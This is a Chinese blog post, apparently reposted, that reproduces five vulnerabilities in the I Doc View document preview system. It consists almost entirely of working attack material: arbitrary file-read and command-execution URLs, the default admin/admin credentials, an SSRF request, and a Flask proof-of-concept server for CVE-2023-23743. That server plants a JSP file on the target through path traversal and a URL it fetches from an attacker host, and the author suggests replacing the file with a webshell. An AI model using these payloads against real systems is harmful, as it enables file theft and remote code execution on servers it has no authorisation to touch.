I Doc View 多个高危漏洞复现
2023-12-18 19:45:31
I Doc View在线文档预览是一款在线文档预览系统。近期出现了多个高危漏洞,因此集中复现一下,有兴趣的童鞋可以收藏一下。#头条首发挑战赛#
1.Upload接口任意文件读取漏洞
1.1 漏洞级别
高危
1.2 漏洞描述
I Doc View存在代码执行漏洞,使得攻击者可以通过利用这个接口,触发服务器下载并解析恶意文件,从而导致远程命令执行漏洞。
1.3 漏洞复现
这里展示一个读取本地文件的方法
访问:
url/doc/upload?token=testtoken&url=file:///C:/windows/win.ini&name=test.txt
响应结果如下:
提取生成的srcUrl,构造:
url/srcUrl
我这里是 url/data/test/2023/1210/10/101554_167_qTZPojt.txt
访问该链接,即可获取文件内容
2.system任意文件读取漏洞
2.1 漏洞级别
高危
2.2 漏洞描述
I Doc View存在代码执行漏洞,使得攻击者可以通过利用这个接口读取任意文件的内容。
2.3 漏洞复现
构造payload:
url/system/cmd.json?cmd=type+c:\\Windows\win.ini
响应结果如下:
3.后台登录弱口令漏洞
3.1 漏洞级别
高危
3.2 漏洞描述
系统存在默认弱口令,若未修改则可以登录。
3.3漏洞复现
访问
url/user/login #默认登录地址
默认账号密码
admin/admin
成功登录
4.SSRF漏洞
4.1 漏洞级别
高危
4.2 漏洞描述
文档读取功能未进行限制,可以读取任意文件,触发ssrf。
4.3漏洞复现
构造
url/view/url?url=dnslog
访问链接,查看dnslog回显
成功触发ssrf
5.CVE-2023-23743 RCE漏洞
5.1 漏洞级别
高危
5.2 漏洞描述
I Doc View在线文档预览系统“/html/2word”的参数“url”存在文件上传漏洞,该漏洞存在于I Doc View的远程页面缓存功能中。由于应用程序无法完全验证用户输入URL的安全性,攻击者可以构建特殊的URL,使服务器下载恶意文件并执行任意代码。
5.3 利用范围
iDocView < 13.10.1_20231115
5.4 漏洞复现
在服务器上运行一个python脚本,代码如下:
from flask import Flask
import argparse
parse = argparse.ArgumentParser()
parse.add_argument("-port", type=int, help="Save port.", default=8888)
args = parse.parse_args()
app = Flask(__name__)
@app.route('/index.html')
def index():
return """<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>title</title>
<link rel="stylesheet" href="..\\..\\..\\docview\\1.jsp">
</head>
<body>
</body>
</html>"""
@app.route('/..\\..\\..\\docview\\1.jsp')
def jsp_file():
return '''<%
out.print("This is a test!");
%>'''
if __name__ == '__main__':
app.run(host="0.0.0.0", port=args.port)
在服务器上运行该代码并指定启动端口
python3 poc.py -port 8888
#可以指定任意端口
构造攻击链接:
url/html/2word?url=http://ip:port/index.html
在服务器上可以看到目标网站的访问记录
此时访问 url/1.jsp,已经成功被上传。这里用的是test语句,如果想要进一步利用,可以在python代码中将生成的jsp文件内容修改成jsp一句话。
近期爆出来的i doc view的漏洞应该都包含在内了,感谢您的观看,有问题欢迎留言交流~
文章来源:https://blog.csdn.net/xiayu729100940/article/details/135068973
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。 如若内容造成侵权/违法违规/事实不符,请联系我的编程经验分享网邮箱:veading@qq.com进行投诉反馈,一经查实,立即删除!
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。 如若内容造成侵权/违法违规/事实不符,请联系我的编程经验分享网邮箱:veading@qq.com进行投诉反馈,一经查实,立即删除!